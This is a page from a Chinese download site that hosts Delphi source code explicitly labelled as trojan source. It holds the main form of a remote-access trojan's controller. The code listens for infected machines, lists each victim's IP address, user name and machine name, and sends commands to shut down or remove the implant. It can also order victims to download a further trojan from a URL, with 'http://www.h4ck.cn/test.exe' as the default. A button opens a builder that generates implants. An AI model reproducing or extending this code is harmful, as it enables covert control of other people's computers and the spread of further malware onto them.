⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unitmain.pas

📁 delphi制作的木马源代码
💻 PAS
字号:
unit UnitMain;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ComCtrls, ExtCtrls, StdCtrls, Sockets, VarUnit, UnitManager,
  Menus, XPMan, jpeg;

type
  TFormMain = class(TForm)
    SBarEx: TStatusBar;
    PanelEx: TPanel;
    DNSListView: TListView;
    Label_Port: TLabel;
    Edit_Port: TEdit;
    Button_Start: TButton;
    Button_Stop: TButton;
    Button_Builder: TButton;
    PopupMenu1: TPopupMenu;
    OpenClient1: TMenuItem;
    CloseClient1: TMenuItem;
    N1: TMenuItem;
    Downloader1: TMenuItem;
    N2: TMenuItem;
    RemoveClient1: TMenuItem;
    XPManifest1: TXPManifest;
    Image1: TImage;
    Timer1: TTimer;
    procedure Button_StartClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure Button_StopClick(Sender: TObject);
    procedure PopupMenu1Popup(Sender: TObject);
    procedure DNSListViewDblClick(Sender: TObject);
    procedure OpenClient1Click(Sender: TObject);
    procedure CloseClient1Click(Sender: TObject);
    procedure Downloader1Click(Sender: TObject);
    procedure RemoveClient1Click(Sender: TObject);
    procedure Button_BuilderClick(Sender: TObject);
  private
    { Private declarations }
  public
    procedure ClientConnect(Sender: TObject; ClientSocket: TCustomWinSocket);
    procedure ClientRead(Sender: TObject; ClientSocket: TCustomWinSocket);
    procedure ClientDisconnect(Sender: TObject; ClientSocket: TCustomWinSocket);
    procedure ClientError(Sender: TObject; Socket: TCustomWinSocket;ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    { Public declarations }
  end;

  TClientSession = Class
    bIsLogin: Boolean;
    ClientSocket: TCustomWinSocket;
    CListItem: TListItem;
    CFormManager: TFormManager;
  end;

var
  FormMain: TFormMain;

implementation

{$R *.dfm}

uses
  UnitBuilder;

var
  MasterSocket: TServerSocket;
  ClientLists: TList;

////////////////////////////////////////////////////////////////////////////////

//  Client连接Server
procedure TFormMain.ClientConnect(Sender: TObject; ClientSocket: TCustomWinSocket);
var
  ClientSession: TClientSession;
begin
  ClientSession := TClientSession.Create;
  ClientSession.bIsLogin := False;
  ClientLists.Add(ClientSession);
  ClientSocket.Data := ClientSession;
  ClientSession.ClientSocket := ClientSocket;
end;

//  Client连接链接
procedure TFormMain.ClientDisconnect(Sender: TObject; ClientSocket: TCustomWinSocket);
var
  ClientSession: TClientSession;
begin
  ClientSession := TClientSession(ClientSocket.Data);
  if ClientSession.bIsLogin then
  begin
    ClientSession.CListItem.Delete;
    //ClientSession.CFormManager.Close;
    ClientSession.CFormManager.Free;
    SBarEx.Panels.Items[0].Text := 'Online Client: ' + IntToStr(DNSListView.Items.Count);
  end;
  ClientSession.Free;
  ClientLists.Remove(ClientSession);
end;

//  Client连接出错
procedure TFormMain.ClientError(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
  Socket.Close;
  ErrorCode := 0;
end;

//  Server读取Client发送信息
procedure TFormMain.ClientRead(Sender: TObject; ClientSocket: TCustomWinSocket);
var
  MiniBuffer: TMinBufferHeader;
  ClientSession: TClientSession;
  StrBuffer, StrUser, StrName: String;
  lpBuffer: Pointer;
  dwLen, dwResult: DWORD;
begin
  dwResult := ClientSocket.ReceiveLength;
  if dwResult = 0 then Exit;
  GetMem(lpBuffer, dwResult + 1);
  ZeroMemory(lpBuffer, dwResult + 1);
  ClientSession := TClientSession(ClientSocket.Data);
  dwLen := ClientSocket.ReceiveBuf(lpBuffer^, dwResult + 1);
  if dwLen = 0 then Exit;

  if Not (ClientSession.bIsLogin) then
  begin
    StrBuffer := Pchar(lpBuffer);
    MiniBuffer := PMinBufferHeader(lpBuffer)^;

    if MiniBuffer.dwSocketCmd = Client_Online then
    begin
      Delete(StrBuffer, 1, 4);
      StrUser := Trim(Split(StrBuffer, '|', 1));
      StrName := Trim(Split(StrBuffer, '|', 2));
      DNSListView.Items.BeginUpdate;
      ClientSession.CListItem := DNSListView.Items.Add;
      ClientSession.CListItem.Caption := IntToStr(ClientSession.ClientSocket.SocketHandle);
      ClientSession.CListItem.SubItems.Add(ClientSession.ClientSocket.RemoteAddress);
      ClientSession.CListItem.SubItems.Add(StrUser + '\' + StrName);
      ClientSession.CListItem.SubItems.Add('0');
      ClientSession.CListItem.Data := ClientSession;
      DNSListView.Items.EndUpdate;
      ClientSession.bIsLogin := True;
      MiniBuffer.dwSocketCmd := Client_Online;
      ClientSession.CFormManager := TFormManager.Create(Application);
      ClientSession.CFormManager.ClientSocket := ClientSocket;
      ClientSession.ClientSocket.SendBuf(MiniBuffer, Sizeof(MiniBuffer));
      SBarEx.Panels.Items[0].Text := 'Online Client: ' + IntToStr(DNSListView.Items.Count);
    end;
  end else
  begin
    ClientSession.CFormManager.ClientWork(ClientSocket, lpBuffer);
  end;
  FreeMem(lpBuffer);
end;

////////////////////////////////////////////////////////////////////////////////

//  开始监听
procedure TFormMain.Button_StartClick(Sender: TObject);
var
  iPort: Integer;
begin
  if MasterSocket.Active then Exit;
  
  try
    iPort := StrToInt(Edit_Port.Text);
    if (iPort > 65535) or (iPort < 1) then
    begin
      MessageBox(Application.Handle, '请选择正确的监听端口!', nil, MB_ICONERROR);
      Exit;
    end;

    try
      MasterSocket.Port := iPort;
      MasterSocket.Open;
      //  判断端口是否监听成功
      if MasterSocket.Active then
      begin
        Edit_Port.Enabled := False;
        Button_Start.Enabled := False;
        Button_Stop.Enabled := True;
        SBarEx.Panels.Items[1].Text := '监听端口状态: ' + IntToStr(iPort);
      end;
    except
      MessageBox(Application.Handle, '端口监听失败!请检查端口是否被占用!', nil, MB_ICONERROR);
      Exit;
    end;
  except
    MessageBox(Application.Handle, '请选择正确的监听端口!', nil, MB_ICONERROR);
    Exit;
  end;
end;

//  停止监听
procedure TFormMain.Button_StopClick(Sender: TObject);
var
  iCout: Integer;
  ClientSession: TClientSession;
begin
  if Not (MasterSocket.Active) then Exit;

  for iCout := 0 to ClientLists.Count - 1 do
  begin
    ClientSession := TClientSession(ClientLists.Items[0]);
    ClientSession.ClientSocket.Close;
  end;

  Edit_Port.Enabled := True;
  Button_Start.Enabled := True;
  Button_Stop.Enabled := False;
  MasterSocket.Close;
  SBarEx.Panels.Items[1].Text := '监听端口状态: 关闭';
end;

//  窗口加载时
procedure TFormMain.FormCreate(Sender: TObject);
begin
  ClientLists := TList.Create;
  MasterSocket := TServerSocket.Create;
  MasterSocket.OnClientConnect := ClientConnect;
  MasterSocket.OnClientDisconnect := ClientDisconnect;
  MasterSocket.OnClientError := ClientError;
  MasterSocket.OnClientRead := ClientRead;
end;

//  窗口关闭
procedure TFormMain.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  Button_StopClick(Self);
  ClientLists.Free;
  MasterSocket.Free;
end;

//  右键激活
procedure TFormMain.PopupMenu1Popup(Sender: TObject);
var
  CListItem: TListItem;
begin
  CListItem := DNSListView.Selected;
  if Assigned(CListItem) then
  begin
    OpenClient1.Enabled := True;
    CloseClient1.Enabled := True;
    Downloader1.Enabled := True;
    RemoveClient1.Enabled := True;
  end else
  begin
    OpenClient1.Enabled := False;
    CloseClient1.Enabled := False;
    Downloader1.Enabled := False;
    RemoveClient1.Enabled := False;
  end;
end;

//  双击
procedure TFormMain.DNSListViewDblClick(Sender: TObject);
var
  CListItem: TListItem;
  ClientSession: TClientSession;
begin
  CListItem := DNSListView.Selected;
  if Assigned(CListItem) then
  begin
    ClientSession := TClientSession(CListItem.Data);
    ClientSession.CFormManager.Show;
  end;
end;

//  鼠标右键点击
procedure TFormMain.OpenClient1Click(Sender: TObject);
begin
  DNSListViewDblClick(Self);
end;

//  发送关闭服务端指令
procedure TFormMain.CloseClient1Click(Sender: TObject);
var
  CListItem: TListItem;
  ClientSession: TClientSession;
  MinBuffer: TMinBufferHeader;
begin
  CListItem := DNSListView.Selected;
  if Assigned(CListItem) then
  begin
    ClientSession := TClientSession(CListItem.Data);
    MinBuffer.dwSocketCmd := Client_Close;
    ClientSession.ClientSocket.SendBuf(MinBuffer, MIN_BUFFER_SIZE);
    ClientSession.CFormManager.Show;
  end;
end;

//  卸载远程Client
procedure TFormMain.RemoveClient1Click(Sender: TObject);
var
  CListItem: TListItem;
  ClientSession: TClientSession;
  MinBuffer: TMinBufferHeader;
begin
  CListItem := DNSListView.Selected;
  if Assigned(CListItem) then
  begin
    ClientSession := TClientSession(CListItem.Data);
    MinBuffer.dwSocketCmd := Client_Remove;
    ClientSession.ClientSocket.SendBuf(MinBuffer, MIN_BUFFER_SIZE);
    ClientSession.CFormManager.Show;
  end;
end;

//  下载远程链接
procedure TFormMain.Downloader1Click(Sender: TObject);
var
  CListItem: TListItem;
  ClientSession: TClientSession;
  StrDownUrls: String;
begin
  CListItem := DNSListView.Selected;
  if Assigned(CListItem) then
  begin
    StrDownUrls := InputBox('下载者', '下载木马地址:', 'http://www.h4ck.cn/test.exe');
    if Length(StrDownUrls) = 0 then Exit;
    ClientSession := TClientSession(CListItem.Data);
    StrDownUrls := MakeSocketCmd(Client_Download) + StrDownUrls;
    ClientSession.ClientSocket.SendText(StrDownUrls);
  end;
end;

////////////////////////////////////////////////////////////////////////////////
//  生成器创建窗口
procedure TFormMain.Button_BuilderClick(Sender: TObject);
begin
  UnitBuilder.FormBuilder.ShowModal;
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -